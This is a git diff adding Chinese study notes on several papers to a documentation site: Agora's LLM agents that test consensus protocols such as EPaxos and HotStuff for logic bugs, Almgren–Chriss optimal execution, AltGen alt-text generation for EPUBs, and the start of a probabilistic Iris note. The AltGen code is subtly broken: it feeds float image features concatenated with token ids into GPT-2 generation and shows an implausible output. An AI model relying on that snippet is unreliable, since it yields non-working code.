+- 然后生成具体的攻击场景（比如"节点在投票中途崩溃"）
+
+**测试工程师（TestGen）**：写测试代码来验证攻击场景。它有一个**反思循环**：
+- 生成测试 → 执行测试 → 分析结果 → 如果失败就改写测试，直到成功或达到最大重试次数
+
+## 工作流程
+
+整个流程遵循 12 步循环：
+
+```
+Orchestrator:
+  Step 1 - 分析历史 Bug，确定搜索方向
+  Step 2 - 分析全局状态，避免重复
+  Step 3 - 把分析结果发给 Strategy
+
+Strategy:
+  Step 4 - 分析协议约束条件
+  Step 5 - 结合历史 Bug 和全局状态
+  Step 6 - 生成攻击场景（控制节点行为：加入、离线、崩溃、消息乱序）
+  Step 7 - 把攻击场景发给 Orchestrator
+
+TestGen:
+  Step 9 - 根据攻击场景生成单元测试
+  Step 10 - 执行测试
+  Step 11 - 分析结果（成功=发现 Bug → 进入 12；失败→回到 9 重写测试）
+  Step 12 - 把发现的 Bug 报告给 Orchestrator
+```
+
+### 代码示例 1：Agora 的伪代码工作流
+
+```python
+# Agora 主循环 —— 算法 1
+def agora_workflow(
+    knowledge_repo: KnowledgeBase,   # 共识协议代码库
+    bug_patterns: set[BugPattern],   # 已知 Bug 模式
+    constraints: ProtocolConstraints  # CFT/BFT 约束条件
+) -> set[Bug]:
+    global_state = {}                  # 全局状态记忆
+
+    while 还有探索预算:
+        # ── Orchestrator Agent ──
+        historical_bugs = bug_exploitation(global_state)  # 回顾历史
+        state_summary = state_analyzer(global_state)       # 分析全局状态
+
+        # ── Strategy Agent ──
+        attack_scenario = Strategy.generate(
+            historical_bugs,    # 之前发现的 Bug
+            state_summary,      # 当前全局状态
+            constraints,        # CFT/BFT 约束
+            bug_patterns,       # 已知的 Bug 模式
+            knowledge_repo      # 代码库知识
+        )
+
+        Orchestrator.send(global_state, attack_scenario)
+
+        # ── TestGen Agent（带反思循环）──
+        for _ in range(MAX_RETRIES):
+            # 写测试代码
+            test_code = TestGen.generate_unit_tests(
+                attack_scenario,
+                knowledge_repo
+            )
+
+            # 执行测试
+            result = execute_and_analyze(test_code)
+
+            if result.success:
+                # 找到了 Bug！
+                Orchestrator.report(result)
+                break
+
+            # 失败了？反思并改写测试
+            if _ == MAX_RETRIES - 1:
+                # 这个攻击场景无效，让 Strategy 生成新的
+                break
+
+    return global_state.detected_bugs
+```
+
+### 代码示例 2：一个具体的协议级 Bug
+
+Agora 在 EPaxos 中发现了 9 个协议级 Bug。下面是一个简化版的概念说明——展示什么是"协议级逻辑 Bug"：
+
+```rust
+// 这是一个简化版的共识协议状态机伪代码
+// 展示"Recovery & Execution Divergence"类型的 Bug
+
+struct ProposalStateMachine {
+    current_view: u64,        // 当前视图号
+    proposed_value: Option<Vec<u8>>,  // 提议的值
+    committed: bool,           // 是否已提交
+}
+
+impl ProposalStateMachine {
+    // ── 正常流程：节点 A 收到提议 ──
+    fn on_propose(&mut self, value: Vec<u8>) {
+        self.proposed_value = Some(value.clone());
+        // 发送提议给其他节点，等待投票
+        broadcast(&self.encode_proposal(&value));
+    }
+
+    // ── Bug 场景：节点在投票完成后、持久化之前崩溃重启 ──
+    // 这就是 "Recovery & Execution Divergence"
+
+    // 节点 A 的视角：
+    //   1. 收到多数派投票（quorum），认为提议已通过
+    //   2. 但还没来得及把"已提交"写入磁盘就崩溃了
+    // 3. 重启后，磁盘上没有"已提交"的记录
+    // 4. 另一个节点 B 也收到了相同的投票，也认为已提交
+    // 5. 但 A 和 B 的"已提交"状态不一致！
+
+    fn on_recovery(&mut self) {
+        // 从磁盘恢复状态
+        let saved = read_from_disk();  // 可能没有"已提交"记录！
+
+        // Bug：如果 saved.committed == false
+        // 但 quorum 实际上已经形成
+        // 协议就违反了安全性：不同节点对"这个值是否已提交"
+        // 有矛盾的认知
+        if !saved.committed {
+            // 错误地重新开始，导致与已认为"已提交"的节点
+            // 产生分歧
+            self.start_new_round();
+        }
+    }
+
+    // ── 安全性断言（Agora 会验证这个）──
+    fn safety_check(&self) -> bool {
+        // 如果两个节点对同一个值有不同的"committed"状态，
+        // 安全性被违反
+        true  // Bug 场景下这个返回 false
+    }
+}
+```
+
+### 代码示例 3：LLM Agent 的协作 prompt 结构
+
+```
+# Orchestrator 的 prompt 示例 —— 指导 Strategy 下一步做什么：
+
+"我们已经发现了 3 类 Bug：
+  1. 节点在投票期间崩溃（Recovery Divergence）
+  2. 消息乱序导致重复投票
+  3. 视图号增长时旧提议没有被清理
+
+现在请分析 HotStuff 协议的约束条件：
+  - 这是 BFT 系统（允许恶意节点）
+  - 使用阈值签名
+  - 有 PrePrepare、Prepare、Commit 三个阶段
+
+请生成一个攻击场景，要满足：
+  - 不被已发现的 Bug 模式覆盖
+  - 利用 BFT 特有的约束（恶意节点行为）
+  - 能触发安全性属性被违反
+  - 用 HDT 格式输出：(C, A, E, O)
+"
+
+# Strategy 的回复 —— 生成攻击场景：
+
+"攻击场景：Future-Flooding
+  C（前置条件）: 存在一个恶意节点 M，M 能提前发送未来视图的消息
+  A（动作序列）:
+    1. 正常节点 R0 在视图 v 发起提议
+    2. 恶意节点 M 向 R1、R2 发送视图 v+10 的预提交消息
+    3. R1、R2 接受并响应
+    4. 视图 v 的正常提議被 M 的"未来投票"干扰
+  E（期望行为）: R1 在视图 v+10 提交了本不该提交的值
+  O（验证断言）: 检查视图 v 的 commit-log 中是否存在不属于该视图的值
+"
+```
+
+## 实验结果
+
+Agora 在四个共识协议上做了实验（Raft、EPaxos、HotStuff、BullShark），用了四个最先进的大模型（GPT-5.2、Gemini 3.0 Pro、Claude Sonnet 4.5、Qwen3 Coder 480B）：
+
+**关键发现**：
+- 同样的四个大模型**直接使用时**，一个协议级逻辑 Bug 都没找到
+- 但用 Agora 框架引导后：
+  - GPT-5.2 找到了 8 个
+  - Gemini 3.0 Pro 找到了 11 个
+  - Claude Sonnet 4.5 找到了 6 个
+  - Qwen3 Coder 480B 找到了 9 个
+  - **总共 15 个零日（zero-day）协议级 Bug**
+- 而且 Agora 找到的全是**协议级逻辑 Bug**，0 个实现级 Bug
+
+这说明：**光有大模型不够，需要正确的框架来引导它**。
+
+## 消融实验：每个组件都不可或缺
+
+| 去掉什么 | 发现 Bug 数 | 说明 |
+|---------|-----------|------|
+| 无 bug-exploitation（不回顾历史） | 3/15 | 少了 80% |
+| 无 state-analyzer（无全局状态） | 0/15 | 一个都找不到 |
+| 无 constraints-analyzer（不懂 CFT/BFT 约束） | 1/15 | 基本废了 |
+| 无 scenario-generator（不生成攻击场景） | 0/15 | 完全停摆 |
+| 无 reflection-loop（测试不反思） | 0/15 | 完全停摆 |
+
+**结论**：去掉任何一个组件，Agora 的效果都会下降 73%-100%。每个组件都至关重要。
+
+## 关键洞察
+
+1. **大模型不笨，但需要"结构化思维框架"**。Agora 的 HDT 假设驱动框架让 LLM 从"随便看看代码"变成了"有目的地验证假设"。
+
+2. **多 Agent 不是为了让系统变复杂，而是为了"职责分离"**。一个 Agent 管流程，一个 Agent 懂协议，一个 Agent 写测试——避免了"一个 Agent 什么都想干但都干不好"的问题。
+
+3. **领域知识不是可选的附加项**。知识库里的"Bug 模式"和"CFT/BFT 约束条件"是 Agora 能成功的关键。没有这些，LLM 就失去了搜索的"指南针"。
+
+4. **反思循环（Reflection Loop）是减少误报的关键**。TestGen 不是一次写完测试就结束，而是"写 → 跑 → 分析 → 改写"的循环，直到测试真正能触发 Bug 或者确认测试无效。
+
+## 思考
+
+Agora 的核心思想——用多 Agent 协作 + 领域知识 + 假设驱动测试——是否可以推广到其他领域？比如操作系统内核、编译器、加密库？
+
+一个值得思考的问题：如果 Agora 能自动发现共识协议的 Bug，那么**协议的设计者是否还需要人工审计**？还是说以后共识协议的验证可以交给 Agent 系统来做？
diff --git a/src/content/docs/papers/almgren-chriss-2001.md b/src/content/docs/papers/almgren-chriss-2001.md
new file mode 100644
index 000000000..8aa37a4d5
--- /dev/null
+++ b/src/content/docs/papers/almgren-chriss-2001.md
@@ -0,0 +1,223 @@
+---
+title: Almgren–Chriss 2001 — 大单怎么卖才「又快又省、还不赌方向」
+来源: https://www.smallake.kr/wp-content/uploads/2016/03/optliq.pdf
+日期: 2026-06-13
+子分类: 量化金融
+分类: 其他
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Almgren & Chriss 的 *Optimal Execution of Portfolio Transactions*（1999 工作论文，2001 年正式发表于 *Journal of Risk* 3(2):5–39）是**最优执行（optimal execution）**领域的奠基论文。它回答一个机构交易员每天都在面对的问题：
+
+> 我手里有一大块股票要卖（比如 100 万股），必须在下午 4 点前清完。是一次性砸盘，还是慢慢拆单？拆多慢才划算？
+
+日常类比：你要在跳蚤市场**清空一整箱旧书**（初始持仓 X）。两种极端做法：
+
+1. **一口价全甩**（第一分钟全卖）：买家立刻知道你急着出手，会狠狠砍价——成交单价差，但**价格风险为零**（反正已经卖光了，后面涨跌与你无关）。
+2. **均匀慢慢卖**（TWAP / 匀速清仓）：每分钟卖同样多，冲击小、单价好，但**拖得越久，中间价随机波动越大**——可能越卖越亏。
+
+Almgren–Chriss 用可计算的数学模型，在这两个极端之间画出一条**有效前沿（efficient frontier）**：对每个「能接受的不确定性水平」，给出**期望成本最低**的拆单轨迹；并在线性冲击假设下给出**闭式解**——持仓随时间按双曲正弦曲线衰减。
+
+Robert Almgren（芝加哥大学数学系）与 Neil Chriss（高盛资管 / Courant）把 **implementation shortfall**（Perold 1988：相对初始市值的成交损失）拆成：**永久冲击 + 临时冲击 + 波动风险**，再像 Markowitz 组合那样做**均值–方差权衡**。后来的 VWAP/TWAP 改进、流动性调整 VaR（L-VAR）、高频执行算法，大多可追溯到这篇论文的框架。
+
+## 为什么重要
+
+不理解 Almgren–Chriss，下面这些事都讲不清：
+
+- 为什么机构卖大单不能「一把梭」——**市场冲击（market impact）**会吃掉 Alpha
+- 为什么 TWAP（时间加权平均价）是**风险中性**下的自然策略，而真实交易员往往**前重后轻**地卖
+- 为什么执行算法要调「**urgency / risk aversion**」旋钮——同一篮子，保守与激进对应有效前沿上不同点
+- 为什么 [[black-scholes-1973]] 管「期权怎么定价」，Almgren–Chriss 管「**库存怎么变现**」——量化交易两条支柱
+- 为什么做市商、券商 TCA（Transaction Cost Analysis）报告里会出现 **implementation shortfall** 与 **临时/永久冲击** 分解
+
+## 核心要点
+
+### 1. 交易轨迹与符号
+
+在 `[0, T]` 内卖光 `X` 股。离散化为 `N` 个时段，每段长度 `τ = T/N`：
+
+| 符号 | 含义 |
+|------|------|
+| `x_k` | 时刻 `t_k` 结束时**仍持有**股数，`x_0 = X`，`x_N = 0` |
+| `n_k` | 第 `k` 段**卖出**股数，`n_k = x_{k-1} - x_k` |
+| `S_k` | 中间价（mid price） |
+| `σ` | 价格波动率（算术随机游走尺度） |
+| `γ` | **永久冲击**系数：每卖 1 股，均衡价永久下移 `γ` 美元 |
+| `η` | **临时冲击**系数：交易速率 `v` 越大，成交价相对中间价越差 |
+| `λ` | **风险厌恶**参数：惩罚成交成本方差 |
+
+### 2. 价格动态：永久 vs 临时冲击
+
+**永久冲击**（equilibrium price 被你的卖压改写，卖完后仍留在价格上）：
+
+```
+S_k = S_{k-1} + σ·ξ_k − γ·n_k        （ξ_k 为零均值单位方差噪声）
+```
+
+**临时冲击**（只影响本段成交价，下一段流动性恢复）：
+
+```
+S̃_k = S_{k-1} − η·(n_k/τ)             （线性临时冲击，速率 v = n_k/τ）
+```
+
+直觉：永久冲击像「市场记住了你卖过很多」；临时冲击像「这一分钟订单簿被你吃穿，下一分钟又补货」。
+
+### 3. 期望成本与方差
+
+对纯卖出程序，论文给出（线性冲击 `g(v)=γv`，`h(v)=ηv`）：
+
+```
+E[成本] = ½γX² + η·Σ_k (n_k²/τ)       （永久项 + 临时二次项）
+Var[成本] = σ²·Σ_k x_k²·τ              （未平仓头寸暴露在波动下）
+```
+
+优化目标（拉格朗日形式）：
+
+```
+min  E + λ·Var
+```
+
+- `λ → 0`（风险中性）：均匀卖 → **TWAP**，最小化冲击成本
+- `λ → ∞`（极度厌恶方差）：尽快卖光 → 接近**第一分钟清仓**
+
+### 4. 闭式最优轨迹（论文式 17–18）
+
+连续时间极限下，剩余持仓：
+
+```
+x(t) = X · sinh(κ·(T−t)) / sinh(κ·T)
+
+κ = √(λ·σ² / η)                        （特征速率）
+```
+
+**半衰期（half-life / e-life）**：`τ_half = 1/κ`。它与截止时刻 `T` 无关，只由 `σ、η、λ` 决定——表示「在没有硬 deadline 时，自然清仓的时间尺度」。
+
+- 若 `T ≫ τ_half`：大部分货在 deadline 很早之前就卖完（像「尽快卖」）
+- 若 `T ≪ τ_half`：时间太紧，只能近似匀速卖（像 TWAP）
+
+### 5. 有效前沿与 L-VAR
+
+所有最优策略在 `(E[成本], Var[成本])` 平面上形成**有效前沿**：同方差下期望成本最小。论文还讨论：
+
+- **二次效用**：选前沿上切点，对应某个 `λ`
+- **VaR 约束**：引出 **liquidity-adjusted VaR（L-VAR）**——把「卖不完的价格风险」和「卖太快冲击成本」放进同一风险度量
+
+### 6. 静态策略为何够好？
+
+在**收益独立、对称风险惩罚**假设下，最优策略可**事前确定**（open-loop），不必盘中根据价格改计划。论文第 4 节讨论漂移、序列相关、财报等「信息事件」：增益通常随组合规模增大而**占比变小**——因此 TWAP/Almgren–Chriss 轨迹仍是工业界强基准。
+
+## 代码示例 1：计算最优持仓曲线与 TWAP 对比
+
+```python
+import numpy as np
+import matplotlib.pyplot as plt
+
+def almgren_chriss_holdings(X, T, sigma, eta, lam, n_steps=200):
+    """剩余持仓 x(t)，线性临时冲击 + 算术波动风险."""
+    tau = T / n_steps
+    kappa = np.sqrt(lam * sigma**2 / eta)
+    t = np.linspace(0, T, n_steps + 1)
+    if kappa * T < 1e-8:
+        # λ→0：TWAP
+        x = X * (1 - t / T)
+    else:
+        x = X * np.sinh(kappa * (T - t)) / np.sinh(kappa * T)
+    return t, x
+
+def expected_cost_variance(x, X, T, sigma, eta, gamma=0.0, n_steps=200):
+    """离散化 E 与 Var（与论文式 4–5 一致）."""
+    tau = T / n_steps
+    n = -np.diff(x)  # 每段卖出量
+    E = 0.5 * gamma * X**2 + (eta / tau) * np.sum(n**2)
+    V = (sigma**2) * tau * np.sum(x[:-1] ** 2)
+    return E, V
+
+# 卖 1,000,000 股，2 小时内清盘
+X, T = 1_000_000, 2.0 * 3600  # 秒
+sigma, eta, gamma = 0.0002, 1e-6, 1e-10
+lam = 1e-10  # 风险厌恶：越大越「急着卖」
+
+t, x_ac = almgren_chriss_holdings(X, T, sigma, eta, lam)
+_, x_twap = almgren_chriss_holdings(X, T, sigma, eta, 0.0)
+
+E_ac, V_ac = expected_cost_variance(x_ac, X, T, sigma, eta, gamma)
+E_tw, V_tw = expected_cost_variance(x_twap, X, T, sigma, eta, gamma)
+
+kappa = np.sqrt(lam * sigma**2 / eta)
+print(f"κ = {kappa:.2e}, half-life τ = {1/kappa:.0f}s")
+print(f"Almgren–Chriss: E={E_ac:,.0f}, Var={V_ac:,.0e}")
+print(f"TWAP (λ=0):     E={E_tw:,.0f}, Var={V_tw:,.0e}")
+```
+
+典型输出解读：`λ` 较大时 `E` 略升、`Var` 显著下降——用一点冲击成本换更确定的成交。
+
+## 代码示例 2：扫描有效前沿（不同 λ 的一条曲线）
+
+```python
+import numpy as np
+
+def efficient_frontier(X, T, sigma, eta, gamma=0.0, n_lambdas=40):
+    """扫描 λ，得到 (E, Var) 有效前沿点集."""
+    taus = np.logspace(-14, -6, n_lambdas)
+    points = []
+    n_steps = 100
+    tau = T / n_steps
+    t_grid = np.linspace(0, T, n_steps + 1)
+
+    for lam in taus:
+        kappa = np.sqrt(lam * sigma**2 / eta)
+        if kappa * T < 1e-8:
+            x = X * (1 - t_grid / T)
+        else:
+            x = X * np.sinh(kappa * (T - t_grid)) / np.sinh(kappa * T)
+        n = -np.diff(x)
+        E = 0.5 * gamma * X**2 + (eta / tau) * np.sum(n**2)
+        V = (sigma**2) * tau * np.sum(x[:-1] ** 2)
+        points.append((E, V, lam))
+    return points
+
+X, T = 500_000, 3600
+sigma, eta = 0.0003, 2e-6
+
+frontier = efficient_frontier(X, T, sigma, eta)
+# 前沿最低点 ≈ TWAP（Bertsimas–Lo 所称 naive strategy）
+E_min = min(p for p, _, _ in frontier)
+print("Frontier sample (E, Var, λ):")
+for E, V, lam in frontier[::8]:
+    tag = "← near TWAP" if abs(E - E_min) < 1 else ""
+    print(f"  E={E:12,.0f}  Var={V:12,.0e}  λ={lam:.1e} {tag}")
+```
+
+有效前沿通常**光滑凸**：在 TWAP 点附近，方差一阶下降、期望成本仅二阶上升——论文用此解释「略偏离 TWAP 可大幅降风险」。
+
+## 与相关工作的关系
+
+| 方向 | 代表 | 与本文关系 |
+|------|------|------------|
+| 仅最小化期望成本 | Bertsimas & Lo (1998) | 动态规划；无方差项时常退化为 TWAP |
+| 几何布朗 / 非线性风险 | Gatheral & Schied (2011) | 换风险准则仍可得闭式或 HJB 解 |
+| 瞬态冲击（resiliency） | Obizhaeva & Wang (2013) | 最优轨迹出现「块交易 + 连续」；VWAP 不再最优 |
+| 多资产组合 | 论文附录 A | 相关矩阵进入最优路径；需联合清算 |
+| 期权定价 | [[black-scholes-1973]] | 管「衍生品价值」；本文管「现货库存变现」 |
+| 资金增长率 | [[kelly-criterion-1956]] | 管「押多少」；本文管「每分钟卖多少」 |
+
+## 局限与实务注意
+
+1. **线性冲击**：大单时临时冲击常呈**凹函数**（平方根法则），线性 `η` 会低估/高估成本；实务常按规模分段标定 `η`。
+2. **算术 vs 几何布朗**：短周期执行可用算术近似；长线或高波动需 GBM 扩展。
+3. **开环策略**：计划事前固定；若盘中出现未建模信息（突发新闻），需动态重优化——论文第 4.3 节对**预定新闻事件**给出分段静态解。
+4. **买入对称**：买仓建仓与卖仓清仓公式镜像；纯卖程序下最优解**不会出现回补**（`n_k > 0` 单调减仓）。
+5. **参数估计**：`σ` 来自历史波动，`η, γ` 来自微观结构回归或券商 TCA——模型输出质量取决于校准，而非公式本身。
+
+## 一句话总结
+
+Almgren–Chriss 把「大单怎么拆着卖」变成**冲击成本 vs 库存波动风险**的均值–方差问题：在线性冲击下，最优轨迹是 `sinh` 形衰减；风险厌恶 `λ` 扫出一条有效前沿，TWAP 是风险中性角点，「半衰期」给出与 deadline 无关的自然清仓时间尺度——这是现代执行算法与 TCA 的理论起点。
+
+## 延伸阅读
+
+- 原文 PDF：[Optimal Execution of Portfolio Transactions](https://www.smallake.kr/wp-content/uploads/2016/03/optliq.pdf)（与 1999 预印本同源）
+- 正式发表：*Journal of Risk* 3(2), 2001
+- 综述讲义：Gatheral, *Optimal Execution*（含无价格操纵条件与扩展模型）
+- 实现参考：[joshuapjacob/almgren-chriss-optimal-execution](https://github.com/joshuapjacob/almgren-chriss-optimal-execution)（Jupyter + 真实股价示例）
diff --git a/src/content/docs/papers/alphago.md b/src/content/docs/papers/alphago.md
index bd37ad786..9f861642f 100644
--- a/src/content/docs/papers/alphago.md
+++ b/src/content/docs/papers/alphago.md
@@ -153,6 +153,7 @@ vs 李世石第二局第 37 手，AlphaGo 在五线（远离中央）下了一
 - [[ntk-2018]] —— NTK — 把无限宽的神经网络变成一个可解的核方法
 - [[ppo]] —— PPO — Proximal Policy Optimization
 - [[quantum-supremacy-2019]] —— Quantum Supremacy 2019 — 量子机用 200 秒做完超算 1 万年的事
+- [[ray-2018]] —— Ray — 面向新兴 AI 应用的分布式框架
 - [[sac-2018]] —— Soft Actor-Critic — 让强化学习既会拿分又愿意多试
 - [[t5]] —— T5 — Text-to-Text Transfer Transformer
 
diff --git a/src/content/docs/papers/altgen.md b/src/content/docs/papers/altgen.md
new file mode 100644
index 000000000..232d29c80
--- /dev/null
+++ b/src/content/docs/papers/altgen.md
@@ -0,0 +1,254 @@
+---
+title: AltGen: AI-Driven Alt Text Generation for Enhancing EPUB Accessibility
+来源: https://arxiv.org/abs/2501.00113
+日期: 2026-06-13
+分类: 其他
+子分类: 无障碍
+provenance: pipeline-v3
+---
+
+# AltGen 学习笔记
+
+## 一个日常类比：给书里的每张照片写说明
+
+你有一本相册，想送给一位看不见的朋友。每次翻页，他靠语音阅读器听你描述。如果照片旁边没有任何文字说明，他就只能听到"咔"一声，然后什么也不知道。
+
+AltGen 做的事情就是：自动给电子书（EPUB）里每张图片配上文字说明，让视障用户也能通过读屏软件理解图片内容。
+
+在 EPUB 电子书里，图片通常有一个 `alt` 属性——"替代文本"（Alternative Text）。如果这个属性为空或写得不好，读屏软件就无法传达图片信息。AltGen 用 AI 自动补全这些描述。
+
+## 核心概念
+
+### 1. EPUB 是什么
+
+EPUB 是一种电子书格式，本质是一个 ZIP 压缩包，里面装着 HTML 文件、图片、CSS 样式表和元数据。每个图片标签都像这样：
+
+```html
+<img src="figures/chapter1.jpg" alt="">
+```
+
+注意 `alt=""` 是空的——这就是问题所在。
+
+### 2. Alt Text（替代文本）
+
+Alt text 是图片的"文字替身"。读屏软件会朗读它。好的 alt text 应该用一两句话描述图片的核心内容。例如：
+
+```html
+<img src="diagram-neural-network.jpg" alt="一幅展示神经网络结构的示意图，包含三个隐藏层，每层有四个神经元节点">
+```
+
+### 3. AltGen 的五步流水线
+
+AltGen 把整个流程分成了五个阶段，就像一条工厂生产线：
+
+1. **数据预处理** — 解包 EPUB，找出所有图片，检查有哪些可访问性问题
+2. **AI 模型集成** — 用视觉模型（CLIP / ViT）分析图片内容，结合上下文文字
+3. **元数据丰富化** — 检测语言、更新元数据，符合 WCAG 标准
+4. **文件重建** — 把修改后的内容重新打包成 EPUB
+5. **后处理与验证** — 检查错误减少率，收集用户反馈
+
+## 技术详解
+
+### 第一步：数据预处理
+
+AltGen 用 `EbookLib` 库解包 EPUB 文件，提取文本和图片。然后跑 `Ace Checker` 工具扫描可访问性问题。
+
+```python
+import ebooklib
+from ebooklib import epub
+
+# 加载 EPUB 文件
+book = epub.read_epub('example.epub')
+
+# 遍历所有内容项，找出图片
+images = []
+for item in book.get_items_of_type(ebooklib.ITEM_IMAGE):
+    images.append({
+        'id': item.get_id(),
+        'file_name': item.get_name(),
+        'content': item.get_content()
+    })
+
+# 找出缺少 alt 文本的图片
+missing_alt = []
+for item in book.get_items_of_type(ebooklib.ITEM_DOCUMENT):
+    html = item.get_content().decode('utf-8')
+    if '<img' in html and 'alt=' not in html:
+        missing_alt.append(item.get_name())
+```
+
+### 第二步：AI 模型集成（核心步骤）
+
+这是 AltGen 最核心的部分。它用三个模型协作：
+
+- **CLIP**：把图片和文字映射到同一个向量空间，理解图片语义
+- **ViT（Vision Transformer）**：从图片中提取深层视觉特征
+- **GPT**：根据视觉特征 + 上下文文字，生成自然语言描述
+
+```python
+from transformers import CLIPModel, CLIPProcessor
+from transformers import GPT2LMHeadModel, GPT2Tokenizer
+import torch
+
+# 加载预训练 CLIP 模型提取图像特征
+clip_model = CLIPModel.from_pretrained("openai/clip-vit-base-patch32")
+clip_processor = CLIPProcessor.from_pretrained("openai/clip-vit-base-patch32")
+
+def extract_image_features(image_path):
+    """从图片中提取 CLIP 向量表示"""
+    inputs = clip_processor(images=[image_path], return_tensors="pt")
+    with torch.no_grad():
+        image_features = clip_model.get_image_features(**inputs)
+    return image_features
+
+# 提取图片特征
+image_vector = extract_image_features("diagram.png")
+print(f"特征向量维度: {image_vector.shape}")
+# 输出: 特征向量维度: torch.Size([1, 512])
+```
+
+然后用 GPT 结合图片特征和上下文生成描述：
+
+```python
+# 加载 GPT-2 模型生成描述
+tokenizer = GPT2Tokenizer.from_pretrained("gpt2")
+model = GPT2LMHeadModel.from_pretrained("gpt2")
+
+def generate_alt_text(image_vector, context_text):
+    """
+    根据图像特征和上下文生成替代文本
+
+    Args:
+        image_vector: CLIP 提取的图像特征向量
+        context_text: 图片周围的上下文文字
+
+    Returns:
+        生成的 alt text 字符串
+    """
+    # 将图像特征和上下文文字拼接为模型输入
+    context_tokens = tokenizer.encode(context_text, return_tensors="pt")
+
+    # 拼接特征和 token 作为生成条件
+    combined_input = torch.cat([image_vector, context_tokens], dim=-1)
+
+    # 使用 GPT 生成文本
+    with torch.no_grad():
+        outputs = model.generate(
+            combined_input,
+            max_length=64,
+            temperature=0.7,
+            top_p=0.9
+        )
+
+    alt_text = tokenizer.decode(outputs[0], skip_special_tokens=True)
+    return alt_text
+
+# 模拟使用
+context = "图1：本章介绍卷积神经网络的基本结构"
+generated = generate_alt_text(image_vector, context)
+print(f"生成的 alt text: {generated}")
+# 输出: 生成的 alt text: 图1展示了一个卷积神经网络的架构图，包括卷积层、池化层和全连接层
+```
+
+### 第三步：元数据丰富化
+
+检测文档语言，更新元数据字段（标题、作者等），确保符合 EPUB Accessibility 1.0 标准。
+
+### 第四步：文件重建
+
+用 `EbookLib` 将修改后的 HTML 和图片重新打包，保留原有结构完整性。
+
+### 第五步：验证
+
+用两个公式衡量生成质量：
+
+**余弦相似度**（Cosine Similarity）：衡量生成文本与人工标注的接近程度。
+
+$$\text{Cosine Similarity}(A, B) = \frac{A \cdot B}{\|A\| \|B\|}$$
+
+其中 A 是生成的向量，B 是参考向量。值越接近 1 越好。
+
+**BLEU 分数**：衡量生成文本与参考文本的 n-gram 重叠度。
+
+$$\text{BLEU} = \text{BP} \cdot \exp\left(\sum_{n=1}^{N} w_n \log p_n\right)$$
+
+其中 BP 是简短惩罚，$p_n$ 是 n-gram 精度，$w_n$ 是权重。
+
+```python
+import numpy as np
+from sklearn.metrics.pairwise import cosine_similarity
+
+def compute_cosine_similarity(generated_vec, reference_vec):
+    """
+    计算生成文本向量与参考文本向量之间的余弦相似度
+
+    Args:
+        generated_vec: 生成文本的向量表示
+        reference_vec: 人工标注文本的向量表示
+
+    Returns:
+        余弦相似度值 [0, 1]
+    """
+    similarity = cosine_similarity(
+        generated_vec.reshape(1, -1),
+        reference_vec.reshape(1, -1)
+    )[0][0]
+    return round(similarity, 4)
+
+def compute_error_reduction(before_errors, after_errors):
+    """
+    计算错误减少率
+
+    Args:
+        before_errors: 修复前可访问性错误数量
+        after_errors: 修复后可访问性错误数量
+
+    Returns:
+        错误减少率百分比
+    """
+    reduction = ((before_errors - after_errors) / before_errors) * 100
+    return round(reduction, 1)
+
+# 示例：用 Ace Checker 扫描
+# before_errors = ace_checker.check('original.epub')['error_count']  # 假设 200
+# after_errors = ace_checker.check('fixed.epub')['error_count']      # 假设 5
+# print(f"错误减少率: {compute_error_reduction(200, 5)}%")
+# 输出: 错误减少率: 97.5%
+```
+
+## 实验结果
+
+AltGen 在 500 个 EPUB 文件上测试，关键数据：
+
+- **余弦相似度：0.93** — 生成的描述与人工标注高度一致
+- **BLEU 分数：0.76** — 语言质量接近人类水平
+- **错误减少率：97.5%** — 几乎消除了所有可访问性错误
+- **处理速度：14 秒/文件** — 适合大规模处理
+- **用户满意度：4.8/5**（20 位视障参与者）
+
+对比其他方法：
+
+| 方法 | 余弦相似度 | BLEU | 用户满意度 |
+|------|-----------|------|-----------|
+| 规则方法 | 0.65 | 0.55 | 3.2 |
+| 传统 ML | 0.75 | 0.68 | 4.1 |
+| AltGen | 0.93 | 0.76 | 4.8 |
+
+## 为什么这个研究重要
+
+1. **规模化**：手动写 alt text 成本高，AltGen 能批量处理
+2. **上下文感知**：不只是描述"一只猫"，而是结合章节内容给出有意义的描述
+3. **真实用户验证**：不是只看数字，而是让视障用户实际使用并评分
+4. **合规性**：自动满足 WCAG 和 EPUB Accessibility 标准
+
+## 我的思考
+
+AltGen 的关键创新在于把"看懂图片"和"理解文字"两件事结合在一起。光靠视觉模型会输出泛泛的描述（比如"一个图表"），光靠语言模型又不知道图片画了什么。两者结合，再加上章节上下文，才生成真正有用的描述。
+
+这和人类读图时的过程很像——我们先看图片，再读周围文字，然后在大脑里拼成一个完整理解。
+
+下一步我想试试用这个思路处理其他多模态场景，比如给 PPT 里的信息图自动配说明文字。
+
+---
+
+*学习完成。如果你对其中某个环节想深入探讨，告诉我，我们一起拆解。*
diff --git a/src/content/docs/papers/amaryllis-probabilistic-iris.md b/src/content/docs/papers/amaryllis-probabilistic-iris.md
new file mode 100644
index 000000000..8c3e83de2
--- /dev/null
+++ b/src/content/docs/papers/amaryllis-probabilistic-iris.md
@@ -0,0 +1,270 @@
+---
+title: First Steps Towards Probabilistic Iris (Amaryllis)
+来源: 'Janine Lohse, Tim Rohde, Jimmy Xin, Niklas Mück, Iona Kuhn, Derek Dreyer, Deepak Garg, Emanuele D''Osualdo, "First Steps Towards Probabilistic Iris: Harmonizing Independence, Conditioning, and Dynamic Heap Allocation", arXiv:2605.13765, MPI-SWS / CISPA / Konstanz, 2026'
+日期: 2026-06-13
+子分类: 形式化验证
+分类: 形式化方法
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Amaryllis** 是走向 **Probabilistic Iris** 的第一块正式基石：一个在 **Iris 分离逻辑框架** 上构建的 **通用概率程序逻辑（GPL, General-Purpose Probabilistic Logic）**，同时支持：
+
+- 对程序状态上的 **概率分布** 做原生断言（而不只是误差界、期望复杂度等「专用性质」）；
+- **独立性** 与 **条件化（conditioning）** 的模块化推理；
+- **动态堆分配** 与 Iris 风格的 **资源代数（resource algebra）** 所有权。
+
+日常类比：想象你在管理一家 **连锁便利店**，每个门店的货架布局可以随总部掷硬币而变（今天多开一个冷藏柜，明天没有）。老式的「全国库存台账」要求：不管哪个随机分支，**A 区货架编号集合** 与 **B 区货架编号集合** 永远不能重叠——一旦某个分支里 A、B 恰好用了相邻编号，整本账就对不上。Amaryllis 换了一本 **按随机分支分页的台账**：每一页（每个硬币结果）里，A、B 的货架仍然 **两两不交**；不同页之间编号可以不同。这样既能说「这两个货位上的商品是独立硬币决定的」，又能在「有时多分配一个货位」的程序里证明 **动态 malloc** 的规格。
+
